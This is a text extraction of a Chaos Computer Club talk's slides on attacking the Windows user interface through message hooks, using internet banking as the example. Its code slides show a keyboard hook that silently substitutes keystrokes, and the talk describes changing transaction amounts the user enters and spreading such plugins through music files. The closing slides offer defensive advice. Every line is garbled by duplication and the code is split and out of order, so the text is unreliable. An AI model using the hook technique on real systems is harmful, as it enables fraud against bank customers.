Attacking the Attacking the User- -Machine Machine User - PowerPoint PPT Presentation

Attacking the Attacking the User- -Machine Machine User Interface Interface A speach speach from from Volker Birk, Volker Birk, dingens dingens@ @bumens bumens. .org org A Chaos Computer Club ERFA Kreis Ulm Chaos Computer Club ERFA Kreis Ulm http://www www. .ulm ulm. .ccc ccc.de .de, http:// , http://www www. .ccc ccc.de .de http://

What's up? up? What's � Everybody Everybody searches searches for for security security for for � machine- -machine machine interfaces interfaces. . machine � Some implementations Some implementations of of cryptography cryptography � are OK OK for now for now. . are � Nobody Nobody thinks about the security thinks about the security � problems of of the the user user- -machine machine problems interfaces. . interfaces CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

Example: internet- -banking banking Example: internet Internet I' I'm m in! ! That That was was PC PC Webs bserv erver Mainfram Mainframe eas easy! y! at the he ban bank CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

The idea idea is is not not really really new new: : The CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

How does the Windoze Windoze GUI GUI How does the work? work? � Windoze Windoze is a timesharing system is a timesharing system � � hardware drivers in the kernel, mostly interrupt hardware drivers in the kernel, mostly interrupt � driven driven � Processes and threads in the user land Processes and threads in the user land � � Windoze Windoze is a message based GUI is a message based GUI � � System Message Queue System Message Queue - -> System Dispatcher > System Dispatcher � � - -> Thread Message Queue > Thread Message Queue - -> Thread Dispatcher > Thread Dispatcher � � - -> > WindowProc WindowProc for every Window Class. for every Window Class. � CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

How does the Windoze Windoze GUI GUI How does the System Dispatcher work? work? Thread-Message-Q System-Message-Q Translate CPU Driver Thread “Click!” IRQ12 Dispatcher WM_NC WM_NCHITTE HITTEST ST WindowProc (Message Handler) CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

hello, world hello, world int WinMain WinMain(HINSTANCE (HINSTANCE hInstance hInstance, , int HINSTANCE hPrevInstance hPrevInstance, , HINSTANCE LPSTR lpCmdLine lpCmdLine, , LPSTR int nCmdShow) { ) { int nCmdShow MSG msg msg; ; MSG if (!hPrevInstance if (! hPrevInstance) ) InitApp InitApp( (hInstance hInstance); ); InitInstance( InitInstance (hInstance hInstance, , nCmdShow nCmdShow); ); while (GetMessage GetMessage(& (&msg msg, NULL, 0, 0)) { , NULL, 0, 0)) { while ( TranslateMessage(& (&msg msg); ); TranslateMessage DispatchMessage(& (&msg msg); ); DispatchMessage } } return msg.wParam return msg. wParam; ; Thread Dispatcher } } CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

hello, world hello, world ATOM InitApp InitApp(HINSTANCE (HINSTANCE hInstance hInstance) { ) { ATOM WNDCLASSEX wcex WNDCLASSEX wcex; ; memset(& (&wcex wcex, 0, , 0, sizeof sizeof(WNDCLASSEX)); (WNDCLASSEX)); memset wcex. wcex .cbSize cbSize = = sizeof sizeof(WNDCLASSEX); (WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; .style = CS_HREDRAW | CS_VREDRAW; wcex wcex. .lpfnWndProc lpfnWndProc = (WNDPROC) = (WNDPROC) WndProc WndProc; ; wcex Message Handler wcex. .hInstance hInstance = = hInstance hInstance; ; wcex wcex. wcex .hIcon hIcon = = LoadIcon LoadIcon(NULL, IDI_APPLICATION); (NULL, IDI_APPLICATION); wcex. .hCursor hCursor = = LoadCursor LoadCursor(NULL, IDC_ARROW); (NULL, IDC_ARROW); wcex wcex. .hbrBackground hbrBackground = (HBRUSH)(COLOR_WINDOW+1); = (HBRUSH)(COLOR_WINDOW+1); wcex wcex. wcex .lpszClassName lpszClassName = " = "HelloWorldClass HelloWorldClass"; "; return RegisterClassEx RegisterClassEx(& (&wcex wcex); ); return } } CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

hello, world hello, world LRESULT CALLBACK WndProc WndProc(HWND (HWND hWnd hWnd, UINT message, , UINT message, LRESULT CALLBACK WPARAM WPARAM wParam wParam, LPARAM , LPARAM lParam lParam) { ) { PAINTSTRUCT ps ps; ; PAINTSTRUCT HDC hdc hdc; ; HDC switch (message) { switch (message) { case WM_PAINT: case WM_PAINT: hdc = = BeginPaint BeginPaint( (hWnd hWnd, & , &ps ps); ); hdc RECT rt rt; ; RECT GetClientRect GetClientRect( (hWnd hWnd, & , &rt rt); ); DrawText( (hdc hdc, "hello, world", 12, & , "hello, world", 12, &rt rt, , DrawText DT_CENTER); DT_CENTER); EndPaint EndPaint( (hWnd hWnd, & , &ps ps); ); break; break; case WM_CLICK: case WM_CLICK: ... ... } } CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

The weak point: Hooks. The weak point: Hooks. � Message Hooks can be installed from any Message Hooks can be installed from any � application before any message dispatcher. application before any message dispatcher. � Messages could be filtered or altered and Messages could be filtered or altered and � transported to the Message Handlers. transported to the Message Handlers. � Is there a security system? No, Sir. Is there a security system? No, Sir. � � Attacking pattern: Man in the middle attack. Attacking pattern: Man in the middle attack. � CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

Man- -In In- -The The- -Middle Middle- -Attack. Attack. Man Message Windows Application Hook (i.e. IE for banking ;-) “Click!” CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

Code sample Code sample void InstallHook InstallHook() { () { void m_hLib hLib = = LoadLibrary LoadLibrary("Hook. ("Hook.dll dll"); "); m_ FARPROC pSysMsgProc pSysMsgProc = = GetProcAddress GetProcAddress(m_ (m_hLib hLib, , FARPROC "KeyboardProc KeyboardProc"); "); " PSETHOOKHANDLE pSetHookHandle pSetHookHandle = = PSETHOOKHANDLE (PSETHOOKHANDLE) GetProcAddress GetProcAddress(m_ (m_hLib hLib, , (PSETHOOKHANDLE) "SetInfo SetInfo"); "); " m_hHook hHook = = SetWindowsHookEx SetWindowsHookEx(WH_KEYBOARD, (WH_KEYBOARD, m_ (HOOKPROC) pSysMsgProc pSysMsgProc, m_ , m_hLib hLib, 0); , 0); (HOOKPROC) (*pSetHookHandle pSetHookHandle)(m_ )(m_hHook hHook); ); (* } } CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

Code sample Code sample static HHOOK hHook hHook = 0; = 0; static HHOOK void SetInfo SetInfo(HHOOK (HHOOK newHook newHook) { ) {hHook hHook = = newHook newHook;} ;} void LRESULT CALLBACK KeyboardProc LRESULT CALLBACK KeyboardProc( (int nCode int nCode, WPARAM , WPARAM wParam wParam, , LPARAM lParam lParam) { ) { LPARAM if (nCode nCode == HC_ACTION && == HC_ACTION && wParam wParam == VK_DECIMAL) { == VK_DECIMAL) { if ( // hPlayback hPlayback = = SetWindowsHookEx SetWindowsHookEx(WH_JOURNALPLAYBACK, (WH_JOURNALPLAYBACK, // // JournalPlaybackProc, , theApp theApp.m_ .m_hInstance hInstance, 0); , 0); // JournalPlaybackProc if ( if (lParam lParam & 0x80000000) & 0x80000000) keybd_event(13502, 52, KEYEVENTF_KEYUP, 0); _event(13502, 52, KEYEVENTF_KEYUP, 0); keybd else else keybd keybd_event(13502, 52, 0, 0); _event(13502, 52, 0, 0); return 1; return 1; } } return return CallNextHookEx CallNextHookEx( (hHook hHook, , nCode nCode, , wParam wParam, ,lParam lParam); ); } } CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

Being creative with internet Being creative with internet banking banking � User enters "42", computer understands User enters "42", computer understands � "23", user reads "42" "23", user reads "42" � User is authenticating this transaction. User is authenticating this transaction. � � Computer is transacting "23". Computer is transacting "23". � � With an Internet Explorer With an Internet Explorer plugin plugin we we � don't need any extra processes. don't need any extra processes. � Distributing such Distributing such plugins plugins made easy by made easy by � using music files with Windows XP. using music files with Windows XP. CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

And now? What can we do? And now? What can we do? � Better forget Windows for banking Better forget Windows for banking � purposes. purposes. � Better forget the Macintosh for banking Better forget the Macintosh for banking � purposes also. purposes also. � X11 offers a security system. But who X11 offers a security system. But who � knows that and who is using it? knows that and who is using it? � Better: cold boot from CD. Better: cold boot from CD. � CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org

Chaos Computer Club. Chaos Computer Club. Kabelsalat ist gesund. Kabelsalat ist gesund. Thank you you! ! Thank Volker Birk, CCC ERFA Kreis Ulm Volker Birk, CCC ERFA Kreis Ulm mailto:dingens dingens@ @bumens bumens. .org org mailto: http://www www. .ulm ulm. .ccc ccc.de .de http:// http://www www. .ccc ccc.de .de http:// CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org